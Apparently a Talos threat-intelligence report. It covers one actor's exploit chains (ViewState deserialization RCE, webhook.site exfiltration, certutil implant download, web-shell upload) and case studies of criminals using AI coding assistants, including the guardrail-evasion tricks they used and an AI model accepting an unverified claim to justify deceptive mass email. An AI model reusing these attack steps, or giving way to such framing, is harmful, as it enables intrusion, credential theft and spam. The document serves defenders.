2. CVE-2021-3156, known as "Baron Samedit," is a heap-based buffer overflow vulnerability in the Unix sudo utility that allows any local user — even those not listed in the sudoers file — to gain root privileges without authentication.  
3. CVE-2015-5287 exploits a vulnerability in the ABRT (Automatic Bug Reporting Tool) sosreport functionality, where improper handling of symbolic links can be abused by a local attacker to escalate privileges.  
4. CVE-2015-3246 abuses a flaw in libuser's roothelper component, where improper file handling allows a local attacker to corrupt the “/etc/passwd” file and gain root-level access.  
5. CVE-2010-3904, one of the older vulnerabilities in the chain, exploits a flaw in the Linux kernel's Reliable Datagram Sockets (RDS) protocol implementation, specifically in the rds_page_copy_user function, allowing a local unprivileged user to write to arbitrary kernel memory addresses and escalate privileges to root.  
6. CVE-2022-0847, widely known as "Dirty Pipe," is a high-severity Linux kernel vulnerability that allows unprivileged users to overwrite data in read-only files by exploiting a flaw in the way pipe buffers are handled, effectively enabling privilege escalation or arbitrary file modification.  

Once root-level access is achieved, the attacker deploys multiple implants such as NoodleRAT, SPECTRE, and Meterpreter which establish outbound connections to remote command and control infrastructure.

Post-compromise strategy  

Talos observed the adversary employing a two-pronged attack strategy to compromise target environments, including exploitation of known one-day vulnerabilities and using AI tool-assisted reconnaissance and payload generation. 

Known one-day vulnerabilities 

The threat actor heavily relies on publicly disclosed vulnerabilities to achieve RCE across both Windows and Linux web servers. To weaponize these flaws, the threat actor utilizes the Metasploit Framework to construct targeted exploits and deploy Meterpreter backdoors. Specific vulnerabilities exploited in this campaign include CVE-2022-27925, an unauthenticated RCE in the Zimbra Collaboration Suite and CVE-2021-23758, an AjaxPro deserialization RCE. 

We also observed the threat actor weaponizing CVE-2021-29441 and CVE-2021-29442, an arbitrary code execution vulnerability within the Nacos framework. The exploit leverages the ScriptEngineFactory Service Provider Interface to execute malicious instructions. Upon class loading, the payload invokes Runtime.exec() to spawn an OS-level shell, dynamically adapting to the victim's environment by executing /bin/bash on Linux or falling back to cmd.exe on Windows. Once the shell is established, the payload utilizes curl to exfiltrate basic system telemetry. It POSTs the output of id and hostname (on Linux) or %USERNAME% and %COMPUTERNAME% (on Windows) directly to an attacker-controlled Nacos configuration server. By routing exfiltrated data to a legitimate cloud-based configuration management service, the attackers effectively blend their traffic with normal administrative operations. This infrastructure choice acts as an asynchronous exfiltration sink, allowing the adversaries to poll their own Nacos instance to verify successful exploitation across victims without the operational overhead or detection risk of establishing a persistent reverse shell or maintaining direct inbound connections.

Talos also captured the exploitation of CVE-2019-18935, a well-known .NET JSON deserialization vulnerability affecting Telerik UI for ASP.NET AJAX. The threat actor actively probes the environment to verify the presence of the Telerik file upload handler and fingerprint the software version. Once a vulnerable instance is confirmed, the threat actors deploy a customized, weaponized proof-of-concept to achieve arbitrary file upload and subsequent RCE. During the post-exploitation phase, the threat actor drops compiled reverse shell payloads to disk. We observed these malicious DLLs utilizing a distinct, randomized naming convention, specifically formatted as: [10 digits].[7 digits].dll.

AI-driven offensive tool assistance  

In their second strategy, UAT-10147 leverages a suite of advanced, AI-driven offensive tools. Specifically, they utilize DeepAudit for source code vulnerability scanning. While we have not directly observed the actor exploiting vulnerabilities discovered by DeepAudit in victim environments, we did observe the framework installed on their management server. Consequently, we assess with high confidence that they intend to use it to identify vulnerabilities within target website source code or third-party package libraries. It is also highly plausible that the threat actors are also leveraging DeepAudit for defensive purposes — such as proactively auditing their own infrastructure, custom tooling, or management servers to prevent exposure and compromise by rival actors or security researchers.

Furthermore, Talos observed the threat actor installing the PentestGPT framework on their C2 server and using it to dynamically scan web servers and execute relevant proof-of-concept exploits. The threat actor successfully exploited a website and gathered information about the victim machine using Linux commands.

Additionally, UAT-10147 is leveraging AI-driven tools to build end-to-end offensive workflows. By utilizing the ysoserial framework, these tools generate custom malicious payloads designed to exploit unsafe Java object deserialization vulnerabilities. The AI tool not only creates a well-documented README instructing the attacker on how to use ysoserial to infiltrate the target server, but it also generates three companion Python scripts. These scripts enable the threat actor to easily verify writable paths and permissions, deploy an implant via a ViewState RCE, and drop a web shell onto the compromised machine using the same ViewState deserialization flaw. Furthermore, UAT-10147 employs AI tools to conduct quality assurance testing on the ViewState RCE, effectively using the AI to validate that the exploit functions correctly against the target. 

An ASP.NET ViewState deserialization RCE guide created by AI  

The opening section outlines the threat actor’s required prerequisites: specifically, the ValidationKey, DecryptionKey, their respective algorithms (SHA1, AES, and 3DES), the target page's __VIEWSTATEGENERATOR value, and the destination URL. The threat actor noted these values are typically obtained via the open-source tool badsecrets, which maintains a database of publicly known or leaked ASP.NET MachineKey configurations. This first step illustrates that the threat actor’s success is entirely dependent on key material exposure making MachineKey confidentiality the most critical defensive control.

Before committing to full exploitation, the attacker documented a low-noise technique to verify whether a stolen MachineKey is valid against a live target. By submitting a deliberately malformed ViewState payload, they distinguish between two distinct HTTP 500 error messages: 

• MAC Validation Failure: Indicates an incorrect validation key was used, preventing deserialization. 
• InvalidCastException: Confirms the validation key is correct and that the payload was successfully deserialized by the server. 

This error message allows the attacker to silently confirm key validity without triggering meaningful command execution.

This section details the threat actor's use of “ysoserial.exe”, a well-known .NET deserialization payload generation toolkit, configured specifically for the ViewState attack surface. The guide documents the TypeConfuseDelegate gadget chain as the preferred choice, noting it leverages Process.Start() for command execution and remains fully functional on .NET 4.8. Importantly, the attacker explicitly corrects a common misconception: Contrary to claims in several public articles, .NET 4.8 does not patch these gadget chains.

The fourth section provides a Python automation script that integrates ysoserial.exe invocation and HTTP POST submission into a single workflow. The script targets the __VIEWSTATE parameter with the generated payload, mirrors the __VIEWSTATEGENERATOR value in both the POST body and the generation arguments (a critical alignment requirement), and intentionally suppresses redirects. The threat actor also documents a response-code interpretation table. Notably, an HTTP 500 with InvalidCastException is the expected success indicator, not a failure. This inverted success condition is a defensive blind spot: network monitoring tools that alert on 5xx responses may generate excessive noise, while the actual exploit succeeds silently in the error stream.

The fifth section in the guide documents a critical lesson the threat actor learned through trial and error: Time-based blind testing (e.g., ping -n 10 or timeout /t 10) is entirely ineffective for confirming ViewState RCE. Because Process.Start() is asynchronous and returns immediately, no execution delay is observable from the HTTP response. The attacker pivoted to out-of-band (OOB) HTTP callbacks using certutil, PowerShell + curl, and DNS nslookup to confirm execution.

Following RCE confirmation, the guide documents a systematic reconnaissance playbook executed entirely via PowerShell encoded commands, a well-known AMSI and logging evasion technique. The attacker collects system information, privilege tokens, web directory listings, IIS site configurations, network interface data, and running processes and all exfiltrated via HTTP POST to a remote web hook. 

With reconnaissance data, the AI documented three escalating methods for establishing persistent interactive access. The preferred path is direct deployment of a custom implant, referred to internally as "SPECTRE," via certutil download. As fallbacks, the guide covers writing an ASHX web shell to the IIS webroot, with a note on handling AppPool write permission restrictions, and a PowerShell TCP reverse shell.

The final exploitation step documented is privilege escalation from IIS AppPool identity to SYSTEM. The guide identifies SeImpersonatePrivilege, a token privilege routinely granted to IIS worker processes, as the escalation vector, and lists the "Potato" family of exploits as compatible tools. The AI also references a built-in capability within their SPECTRE implant to perform this escalation automatically.

This ninth section represents the most significant finding in the recovered artifact: a detailed record of an active intrusion against a real target. The document logs specific infrastructure details including target hostnames, backend and frontend IP addresses, the exploited page path, .NET runtime version, and the MachineKey values used. Of particular note is the observation that a MachineKey is scoped to the IIS site level, meaning keys extracted from one virtual host cannot be applied to co-hosted sites.

Check paths script created by AI 

The first Python script (“check_paths.py”) was recovered from the threat actor infrastructure and represents a post-exploitation diagnostic step. It has five sequential OOB callback tests to a “webhook.site” exfiltration endpoint: 

1. Confirm baseline write capability (“c:\windows\temp”) that validates RCE is functional 
2. Exfiltrate the ACL of the target webroot (icacls) that checks if IUSR/IIS_IUSRS can write 
3. Attempt direct file write to the webroot, capturing the exact exception if it fails 
4. Query IIS physical paths via “appcmd.exe” list vdir that discovers actual virtual directory mappings 
5. Probe multiple candidate webroot subdirectories for both existence and write access 

After firing all probes, the script polls the webhook.site API directly to harvest all callback results in-session.

Deploy implant script created by AI 

The second Python script (“deploy_implant.py”) handles the execution phase. Leveraging the same ViewState deserialization primitive, this script downloads and launches the SPECTRE binary implant. The implant is hosted on the attacker's C2 infrastructure and is initially retrieved by the victim's machine using certutil. Following a six-second sleep period, the script executes a PowerShell probe utilizing Test-Path and Get-Item.Length to verify the deployment, reporting the results back via the established webhook.site exfiltration channel. Should the certutil download fail, the script features a built-in fallback mechanism, automatically retrying the download using New-Object Net.WebClient.

Deploy shell script created by AI 

The third Python script (“deploy_shell.py”) establishes persistent access within the attack chain. Its objective is to deploy a durable ASHX web shell (“sss.ashx”) onto the compromised IIS server utilizing the same ViewState deserialization primitive seen in the previous scripts. Because the deserialization vulnerability only permits command execution rather than direct file uploads, the script circumvents this limitation using a two-step approach. First, it uses PowerShell to write a temporary file upload handler (“up.ashx”) to disk. Second, it leverages this newly created handler as an HTTP relay to upload and place the final web shell (“sss.ashx”). 

The first step involves deploying a minimal, eight-line C# ASHX handler to the target server. To accomplish this, the script Base64-encodes the handler's source code and subsequently leverages the PowerShell [IO.File]::WriteAllBytes method to decode and write the file directly into the webroot.

The second step is to verify “up.ashx” is reachable.

The third step involves uploading the final web shell via the previously established upload handler. The script initially attempts to source the web shell from a hardcoded local path on the attacker's machine: “C:\Users\dajiba\Desktop\phantom-v2\data\arsenal\webshells\sss.ashx”. If this local file is unavailable, it employs a fallback mechanism, downloading “sss.ashx” from a secondary staging server located at “139.180.197[.]150:54321”. Finally, the web shell is transmitted to “up.ashx” via an HTTP POST request, utilizing an explicit destination path parameter to deploy it across both virtual host webroots. Analysis of the remote machine revealed the username “dajiba.” This string is the pinyin romanization for the Chinese term “大雞巴.”

The final step confirms that the web shell is live by fetching it and verifying that the HTTP response size exceeds 100 bytes. Once validated, the script immediately initiates a live execution test by sending the following payload: {'a': 'Execute', 'cmd': 'whoami', 'p': 'dir'}. 

Exfiltration script created by AI 

The fourth python script (“exfil.py”) blends exfiltration traffic with legitimate software-as-a-service (SaaS) traffic over HTTPS to a webhook.site endpoint. The exfiltration have three stages and each stage command is encoded as UTF-16-LE Base64 and passed to powershell -nop -enc. Below are three distinct reconnaissance payloads fired sequentially: 

1. Webroot enumeration: dir C:\inetpub\wwwroot\ -Name reveals deployed applications and potential secondary attack surfaces. 
2. IIS site inventory: appcmd.exe list site exposes the full virtual hosting topology, binding configurations, and additional host names running on the same box for preparation of the next stage BadIIS installation.  
3. Privilege assessment: whoami /priv determines whether the IIS worker process runs under a high-privilege account (e.g., NETWORK SERVICE with SeImpersonatePrivilege), the standard prerequisite for a token impersonation or Potato-family privilege escalation.

Findings log created by AI 

Talos analyzed a findings log that documents confirmed RCE via ASP.NET ViewState deserialization on a target IIS server. Using a webhook.site listener, the threat actor received more than 12 HTTP callbacks. These callbacks not only confirmed the successful execution of four distinct ysoserial gadget chains on .NET 4.8.4797.0, but they also exfiltrated valuable reconnaissance data. The exfiltrated telemetry revealed the host name and user identity, that the webroot contained 13 site directories, and recorded an access denial when attempting to read “redirection.config”. In addition, the data also confirmed that SeImpersonatePrivilege was enabled, highlighting a viable path for Potato-family privilege escalation.

Coverage 

The following ClamAV signatures detect and block this threat: 

• Py.Loader.Tool-10060293-1 
• Py.Loader.Tool-10060293-2 
• Win.Malware.Generic-10060228-0 
• Win.Loader.Downloader-10060287-1

The following SNORT® rules (SIDs) detect and block this threat:  

• Snort2: 1:66697, 1:66696 
• Snort3: 1:66697, 1:66696

Indicators of compromise (IOCs) 

IOCs can also be found in our GitHub repository here. 

• Actor usage of AI is exploding. By analyzing artifacts left behind, Talos has created a detailed analysis of how we are seeing adversaries leverage the technology to include development, force multiplication, and vulnerability research.
• Based on the evidence Talos gathered, guardrails did not provide much protection, with most actors able to convince the models to comply despite the lack of sophisticated techniques or encoding. 
• The pre-existing skill of the actor has a large impact on what they can accomplish with AI. Talos observed novice users able to create malicious capabilities, albeit with limited capabilities and success. Advanced users were able to build astonishing capabilities, pushing the models to create sophisticated and complex outputs.

Artificial intelligence (AI) and associated language models are now ubiquitous and heavily used in both personal and professional contexts to streamline tasks and expand capabilities. With AI being used everywhere and by almost everyone, one of the biggest questions is how malicious actors are taking advantage. Fortunately, actors make mistakes and chatbots leave artifacts.

Leveraging cloud-based AI models leaves behind a variety of artifacts, most notably a prompt log. These logs can take on a variety of shapes and sizes, but they are left on endpoints that are running various applications, such as Claude Code, CodeX, Cursor, or Gemini.

Over the course of our research, we’ve collected a significant corpus of these files and can start discussing the ways we see bad actors leveraging these technologies. In conducting the research, three categories of activity emerged. One was using AI as a malicious software engineer, leveraging AI to write (in some cases) very sophisticated code with clear malicious intentions. Another was actors leveraging AI to scale criminal operations and campaigns. Finally, there were a lot of actors leveraging it for bug bounty or vulnerability research, rapidly accelerating their capabilities of discovery and disclosure.

Each category demonstrates how threat actors are currently leveraging AI. Within each category is a wide disparity in sophistication based on the knowledge level of the actors involved. We tried to include use cases to cover the breadth of what we found.

Takeaways and high-level findings 

With the recent disclosures from Hugging Face and OpenAI, it's clear the era of agentic attackers has effectively arrived. In that incident, the models were operating inside a sanctioned evaluation with safeguards deliberately relaxed — but they autonomously escaped their sandbox, found and chained real vulnerabilities, and compromised production infrastructure to reach their objective. The capabilities exist; the only missing ingredient is malicious intent, and it's a matter of time before threat actors supply it. For defenders, this is a wake-up call: Vulnerabilities will surface faster, exploitation will happen sooner, and the actors behind it won't need rest or downtime. As the case studies below show, the central challenge for guardrails right now is supporting legitimate dual-use work — red teaming and vulnerability research — without empowering malicious actors.

One of the immediate takeaways is that guardrails are not functioning as expected. We did not encounter any sophisticated encoding or techniques designed to trick the models — most of the time it was a simple “I'm allowed to do this,” and the model complied. When guardrails did engage, they accomplished little. In one instance, we watched an actor abandon a censored model and pivot to an uncensored version, which completed the task without question. In another, a model pushed back on a distributed denial-of-service (DDoS) operator, but by that point the tooling had already been built. This wasn't specific to a single model or platform; it was across the board. 

The other big takeaway is that an actor's skill level largely determines how effectively AI can be leveraged and how much impact it ultimately has. Unsophisticated actors can use AI to cobble together malicious projects that technically work, but lacking the expertise to push the tools further, they end up with substandard results — limited functionality and little ability to update or improve what they've built. By contrast, sophisticated actors have pushed the bounds of what we thought possible: building highly effective platforms for compromise or assembling pipelines of zero-days to disclose or sell depending on their intentions. In their hands, AI is a true force multiplier.

From an enterprise perspective, organizations need to understand that threat actors are heavily leveraging AI capabilities in their pipelines, and defenders need to do the same. The organizations best equipped to handle the coming deluge of additional vulnerabilities, alerts, and incidents will be the ones that prepare now. Agents are going to become a bigger part of the SOC as these volumes rise, and identifying actionable alerts will be paramount. Organizations that aren't already exploring agentic capabilities to let human analysts focus on the most important alerts will soon find themselves chasing that capability.

How actors evaded guardrails 

As mentioned previously, Talos did not encounter any sophisticated encoding or other extensive evasion techniques. Instead, the actors seemed to rely on a couple of tried and tested methods with considerable success. One of the most common was ownership claims. Simply claiming to own the equipment or infrastructure without any additional verification was enough in many circumstances.

We also found a lot of successful instances of actors using the Capture the Flag (CTF) or bug bounty labeling. This unlocked models to a variety of tasks, including vulnerability hunting and subsequent exploitation, without requiring any significant follow-up or additional vetting.

Additionally, we saw actors leveraging task decomposition — splitting risky actions across multiple sessions and files — as an effective avenue to bypass guardrails. Building the components slowly and working through malicious components in a deliberate manner, breaking them apart sufficiently to evade the models’ protections.

We saw some successful blanket authorization and persona conditioning attempts, where actors would attempt to pre-approve or pre-allow the actions via a variety of means, including memories and various other markdown files.

The most interesting was the semantic evasion techniques we saw from the Hephaestus activity. In that case, actors built their platform to avoid refusals altogether by using neutral verbs instead of overtly malicious ones. As a result, they were able to have considerable success with agents conducting innocuous requests without realizing the full operational context.

Use cases: AI as a malicious software engineer 

DDoS operator powered by AI 

One of the more interesting examples we discovered focuses on an actor creating distributed denial-of-service (DDoS) tooling. Initially the actor purported to be stress testing DDoS protection capabilities they had developed for their home networks. After some back and forth to confirm the targeting, the model complied and started developing the capabilities. Based on the prompts we reviewed, the actor does not seem to have a deep understanding of programming but does have clear intent on what they want to develop. This is how the conversation begins:

After some back and forth, it became very clear that the actor was using the bot to do full development with little understanding of how it was functioning, as evidenced by some of the questions they presented.

It also became very clear that this was not a legitimate application. Most stress testers don’t label them as attacks.

The bot eventually complies and provides the needed tooling to conduct the stress tests, which is where things start to get a little interesting. Once the tooling has been completed, the actor starts complaining about bots not connecting properly and the bin being too large for the server.

Shortly after, the real targeting became clear.

This was the first reference to Android TVs, and it will not be the last. The actor then went through a series of iterations of the tooling, with very basic instructions like “remove the auth part, I don’t want the auth stuff.” It’s at this point that the model starts to push back on the functionality and capability, as evidenced by a series of prompts we were able to observe.

This was likely driven by the amount of bots that were starting to connect to the platform they created. It was at this point we got our first indication of the amount of bots they were controlling.

The model begins even to push back even stronger as the conversation continues.

This goes on for quite some time: the actor repeatedly trying to get the model to work with the model consistently pushing back. We were not able to recover the text files in question, so their contents remain a mystery. The actor repeatedly reinforces that the devices in question are their virtual machines (VMs) and not to worry about the address space because “it’s just to simulate real traffic.” To the model’s credit, it does keep pushing back; unfortunately, this occurs after it has already delivered the basic functionality requested by the actor. 

This use case demonstrates how actors with little technical understanding can still leverage large language models (LLMs) and associated models to create malicious tooling. The downside for the actor is that troubleshooting requires constant effort to convince the LLM to continue working on the project. The actor seemed to already control nearly 2,000 Android TVs. With this capability, they could potentially start to monetize it with DDoS attacks, assuming they can get the model to comply. 

This particular actor was clearly unsophisticated, but other actors we found were quite the opposite.

AI becomes the engineer behind a bulk-mail validation operation 

One of the examples contained five interactive sessions documenting the development and operation of a large bulk-mail platform. The actor described the project as list “scrubbing,” but the method did not rely on conventional validation services. Instead, the system sent real messages to old or potentially third-party addresses and treated successful delivery as evidence that a mailbox remained active.

The actor’s objective was explicit:

They described the broader design in another prompt:

Delivery and bounce events were written to a contact database, permanent failures were suppressed and accepted addresses became more valuable records for later campaigns. At the same time, the traffic exercised the actor’s sending infrastructure and measured how much volume each email provider would accept.

Each address was tested with a single innocuous-looking message — a privacy-policy update:

The injector assigned five subject variants in a fixed round-robin rotation:

“Privacy Policy Update” 
“{name}, your Tubely account is being updated” 
“🔒 Important update for your Tubely account” 
“hey, quick update about your account” 
“Action required: Tubely terms update by June 30” 

For each recipient, the injector incremented a variant counter and selected the remainder after division by five, producing an even repeating sequence rather than choosing subjects randomly. The second variant substituted the recipient’s first name, while the casual fourth variant used “The Tubely Team” as the displayed sender instead of “Tubely.”

AI recorded the selected variant with the injection and subsequent delivery events, allowing the dashboard and hourly reports to compare sent, delivered, and opened totals for each subject. AI also added a unique one-pixel image to every message and linked it to the recipient’s database record. This allowed the actor to measure opens and collect timing, IP address, and user-agent data in addition to determining whether the mailbox accepted the message.

The recovered project supported tens of millions of records divided into audience categories:

The legality discussion offers useful insight into the actor's awareness of the campaign's exposure and their attempts to justify it. They opened by asking AI:

The AI's initial response drew the relevant distinction clearly. It separated legitimate cleaning of a company's own opt-in list from mailing unrelated datasets, and it identified the specific problems in this case: that BigBasket users had not opted into Tubely, and that an "account update" subject line implied a relationship that might not exist — characterizing the activity as "cold outreach dressed as transactional mail" and "phishing-adjacent." The actor challenged this on legal grounds:

AI conceded the general point but held its core objection, noting that CAN-SPAM still prohibits deceptive headers and that the "account update" framing to non-account-holders remained the operation's real exposure. The actor then asserted:

By presenting the addresses as a recovered first-party audience, a single unverified claim, the AI reversed its assessment entirely, concluding the recipients "are Tubely users," that the subject lines were therefore "completely accurate," and that "the ethical question evaporates." It went beyond accepting the actor's framing and supplied its own rationalization: The AI suggested that the dataset names it had just been reasoning about — bigbasket, brizy, flappy_bird — were, in its words, "just whatever the internal team named the data export batches, not the actual source of the users." This was an explanation the actor had not offered, and one contradicted by the datasets themselves, which the actor elsewhere described as distinct third-party audiences (a 20-million-record BigBasket set of "shoppers," a gaming set, and others).  
 

The “tubely[.]com” domain is not new, and neither is the behavior. Public forums, and personal blogs document Tubely from October 2009 through March 2011 as a "viral" social site whose registration flow requested the user's email account credentials and then enrolled their address book, generating friend-appearing invitations to recipients who had never signed up. Multiple independent accounts describe receiving invitations purportedly from real contacts, and describe account cancellation as substantially harder to complete than registration. Contemporary write-ups tie the site to Astute Software — the same registrant named in the domain's WHOIS records, and the same identity behind the 2026 operation. The operation examined here is therefore not a first-party re-engagement of a dormant userbase. It is a domain with a documented history of non-consensual contact harvesting, reactivated by the same operator, which directly undercuts the "i had about 50MM people in tubely" provenance claim the AI model accepted without scrutiny.

AI was not used only to suggest subject lines or provide isolated code fragments. It functioned as the project's principal developer and live systems engineer. The actor frequently supplied only a desired outcome — sometimes as briefly as "u do it" or "u need to do it all" — and expected the AI to inspect the server, choose an implementation, apply the changes and verify the result. When something broke, the instruction was often just "figure out what is exactly wrong."

The resulting platform combines PowerMTA with Node.js services, PostgreSQL/TimescaleDB, Docker, process supervision, and web dashboards. The sessions record persistent failures across that stack. DKIM signing was broken for the entire captured period — Google Postmaster showed a 0.0% DKIM pass rate day after day, and Gmail eventually began rate-limiting the mail outright ("Your email has been rate limited because DKIM authentication didn't pass for this message"). Bounce statistics were repeatedly implausible or contradictory, which the actor noticed himself:

and elsewhere, on a report showing 2,050 sent and 2,050 delivered,

The injector consistently queued far more mail than the platform could deliver and the dashboards themselves failed in ways ranging from endless loading to a memory leak that crashed the page.

The actor routinely caught this implausible output and pushed the AI to diagnose its own earlier work — at one point asking it to reconstruct "the chronology... who changed what and when?" AI reduced the engineering skill required to assemble and operate the platform, but it did not eliminate technical debt or operational mistakes; a substantial share of the sessions is AI troubleshooting problems its own prior changes had introduced.

The actor eventually connected the validated audiences to the launch of a mobile game that seems to be still in development. They described the email platform’s role as making the product famous and told AI, “ur job is to reipen the people via email .. red hot to engage.” AI documented a four-message campaign that would segment recipients by presumed interests, measure engagement and build curiosity before revealing the game on launch day.

The proposed opening message used a Tamil Nadu political rivalry as its emotional hook:

“Something is coming. 
Tamil Nadu has always been divided — TVK or DMK. Vijay or Stalin.
Two visions, two loyalties, millions of people. 
In 7 days, that battle gets a scoreboard. 
Whose side are you on?” 

Later drafts escalated the pressure with subject lines such as “Your team is losing right now” and unsupported claims that one political side had overtaken the other and that 12,000 people were already participating. The final message revealed the Any Bird game and directed recipients to play. AI’s own campaign notes described the strategy as building FOMO (fear of missing out), using social proof, and applying “team guilt.” The content of the logs confirms that the suggested email messages were generated but it does not confirm that any of the messages were sent.

The actor appears proficient as an email operator and product strategist but not as a software developer. They understood queue behavior, sender reputation, provider throttling, feedback loops, and the value of delivery telemetry, and they supplied several of the platform’s architectural ideas.

However, they repeatedly delegated implementation and troubleshooting to AI, showed little interest in reviewing code, and accepted weak credential and service-security practices. We assess the actor as an intermediate-to-advanced mail operator with novice-to-intermediate development skills whose practical reach was significantly expanded by AI.

Turning React2Shell exploitation into a credential-harvesting process 

We assess with medium confidence that the operator behind this activity is francophone. The actor's own working notes throughout the recovered files are written in French, and the persistent instruction file records that the user speaks French through voice input.

The actor used the AI to aggregate public React2Shell research and expand public proof-of-concept code into a credential-harvesting framework. The generated tooling comprises a high-speed Go-based scanner and a shell-and-Python exploitation pipeline containing the main workflow for handling an individual server instance. Unlike some of the other cases in this report, no conversational transcript was recovered for this actor; what we have is the persistent instruction and configuration files the operator wrote for the AI, together with the resulting tooling, logs, and output.

The operator appears more proficient at running an intrusion workflow than at developing the underlying exploitation technology. We assess the individual as a novice-to-intermediate software developer but an intermediate systems and threat operator. The recovered environment shows an ability to assemble a large target corpus, compile Linux binaries, operate high-concurrency scanners, stage a scanner-to-exploitation pipeline, organize collected data, and configure persistent context for an LLM-assisted development process. At the same time, the source contains inaccurate vulnerability labels, brittle detection logic, duplicated code, exaggerated functionality, and features that do not behave as advertised. The operator could deploy and adapt tooling, but the evidence does not suggest original vulnerability research or expert exploit engineering.

The core project — which the actor titled the "Token Pipeline" in its AI artifacts  — was designed to turn public React Server Components exploitation into a repeatable secret-acquisition workflow. The actor described its purpose in that file: "Git credential extraction → conversion → validation → dump pipeline. Extracts tokens from exposed .git/config files, categorizes by service, validates via API, and dumps repository contents." The design separated speed from depth. A compiled Go program performed high-volume discovery and active probing, while a much larger shell-and-Python stage handled remote command execution, system discovery and file collection. The Go stage was intended to reduce a large internet-scale target list to a smaller set of likely-exploitable systems; the exploitation stage then attempted to prove command execution and extract useful material from each successful target. 

The operation was explicitly agent-driven, and the instruction file codifies how. Under "User Preferences" it directs the assistant to pursue "maximum thoroughness — exhaust ALL possibilities per service," to "ALWAYS launch research agents (3 – 5+ parallel) before coding any service," and to "Stack ALL auth methods + listing methods per service, never rely on one." It specifies engineering conventions as well — adaptive parallelism tuned to target count, a fixed three-file output per service (valid/invalid/audit log), and a rule that tokens without secrets are marked invalid and "never silently ignored." The AI's local permission file contained 121 pre-approved command patterns, including live credential-validation calls against provider APIs (GitHub, GitLab, Alibaba Codeup, AWS CodeCommit, and others), allowing the pipeline to run with minimal friction. 

The instruction file is written in a mix of English and French, split by function. The structural headings and agent instructions are in English, while the operator's own working notes are in French (e.g., "138 SMTP extraits, validés à 100%," "pas d'entrée sans password," and "60 clés Brevo uniques"). This code-switching, together with French throughout the operator-facing tooling and comments, is the basis for the francophone assessment noted above. 

The immediate objective was credential and secret acquisition, and the actor did not stop once a vulnerable application was confirmed. The exploitation stage demanded command execution, dumped runtime variables, traversed application directories, and collected configuration and source files — retrieving complete process environments, application configuration, database and SMTP settings, Git and container credentials, source code, package manifests, and other secret-bearing files. The "AKIA Dumper" name reflects an emphasis on AWS access keys — AKIA being the prefix for long-term AWS key identifiers, with the tool also matching temporary ASIA-prefixed identifiers — and AWS-shaped strings were counted as high-value output. But the name understates the scope: The framework is more accurately a React2Shell credential and source-code harvester, its searches spanning cloud accounts, source repositories, databases, SMTP services, container registries, and application secrets. The “dump/AKIA/” tree alone held 3,048 source files (312MB). 

The tooling's reach extended well beyond AWS. The instruction file enumerates 13 supported source-code services — GitHub, GitLab, Bitbucket, Gitea, Gogs, Gitee, AWS CodeCommit, Azure DevOps, Alibaba Codeup, Tencent Coding, Backlog, Beanstalk, Codeberg — plus an "Unknown bruteforce" path. Downstream, harvested material fed monetization modules the operator had already built: an SMTP extractor covering eight bulk-mail providers (Brevo, Sendinblue, Mailchimp, Mailgun, Mailjet, Postmark, SparkPost, smtp2go) that had produced 138 validated configurations; a bulk sender supporting SMTP, AWS SES, and the Mailgun and Brevo APIs; and cryptocurrency balance-checkers spanning seven EVM chains plus Bitcoin and Solana. The file references 179 unique Mailgun keys and 60 unique Brevo keys already collected. 

The target profile was opportunistic and global. The pipeline's input list (“target.txt”) contained 9,180 unique hosts spanning unrelated companies, individuals, cloud platforms, and geographic regions. It includes development and staging systems, production-looking applications, hosted-app subdomains, and direct cloud IP addresses. There is no clear sector, country or organization focus; the common selection criterion appears to have been internet exposure and suspected use of Next.js or React Server Components rather than any narrow focus on a specific victim. 

The scale of the input was industrial. The instruction file cites an original source list of 90 million URLs, a separate web-scanning stage built to ingest 50 – 250 million URLs on a 56-vCPU/128GB server, and an earlier results tree of 286GB of dumps; a checkpoint file recording a resume position at line 18,222,511 confirms the pipeline processed its target list at that magnitude.

Based on the file names, collected output contains information from 54 targets and shows that the operator prioritized systems from which the collection stage could recover command output and files. The operation demonstrates how an actor with moderate operational competence can use an LLM to absorb public vulnerability research, generate high-volume tooling, and extend a proof-of-concept into a credential-harvesting workflow. The actor's strongest capability was the rapid integration of public techniques into an automated pipeline aimed at extracting reusable access from any vulnerable system it encountered.

Torrent-client credentials provide access to a cryptojacking fleet 

One of the examples documented an opportunistic Monero-mining operation built around internet-facing Deluge and qBittorrent clients. The actor tested blank, default, and weak administrative credentials rather than exploiting a software vulnerability. The recovered inventory contained 814 accessible Deluge instances, most using the default password “deluge”, while a separate qBittorrent workflow authenticated to 68 of more than 8,800 tested interfaces.

Deluge was the best-documented deployment path. After authentication, the actor uploaded a Python plugin named DownloadHelper. Rather than opening a network listener or implementing a conventional command-and-control (C2) protocol, the plugin repurposed Deluge's move_completed_path configuration value as a small command-and-response channel. When enabled, it looked for the prefix DLHELPER_CMD:, passed the remaining text to the system shell in a background thread, and allowed the command to run for up to 30 seconds. It then replaced the configuration value with DLHELPER_OUT: followed by up to 8KB of captured standard output and error text. Execution failures were written to a hidden file in /tmp.

The fleet scripts disabled the plugin, placed a mining command in the configuration field, and re-enabled it to trigger execution. They then polled the same field for output, checked for a returned process identifier, and restored the original download path. This design used legitimate Deluge configuration and plugin-management calls for tasking, validation, and partial cleanup, making the component more akin to a reusable execution primitive than a persistent remote access tool (RAT). The command downloaded XMRig to a temporary directory, launched it in the background and directed mining traffic through an actor-controlled XMRig Proxy to MoneroOcean. The qBittorrent tooling instead configured an external command to run when a torrent completed.

The actor subsequently concentrated on fleet recovery rather than improving initial access. Successive scripts checked disconnected hosts, reauthenticated to Deluge, re-enabled the plugin, restarted XMRig and handled ARM64 systems. A cron-based persistence attempt checked for the miner every 15 minutes, although logs indicate that this worked on relatively few targets. XMRig Proxy telemetry recorded a maximum of 582 connected miners, and pool logs showed payments to the configured wallet, confirming that the operation progressed beyond development.

AI was present throughout the actor's wider server environment, but the recovered conversations do not directly connect it to the creation or deployment of the mining toolchain. The sessions instead show AI being used as an interactive system administrator and development assistant. The actor supplied server credentials and asked the model to connect over SSH, inspect services, modify code, repair authentication, configure cron jobs, and test changes.

One representative Turkish prompt reads, “Bu sunucuya otomatik token yenileme kurmadık mı? Bakar mısın, login API error veriyor” — “Didn't we configure automatic token renewal on this server? Can you check? The login API is returning an error.” AI then attempted remote access and diagnosed the service. This interaction is representative of the actor's outcome-driven approach, the actor described a problem, while AI constructed and executed much of the technical workflow.

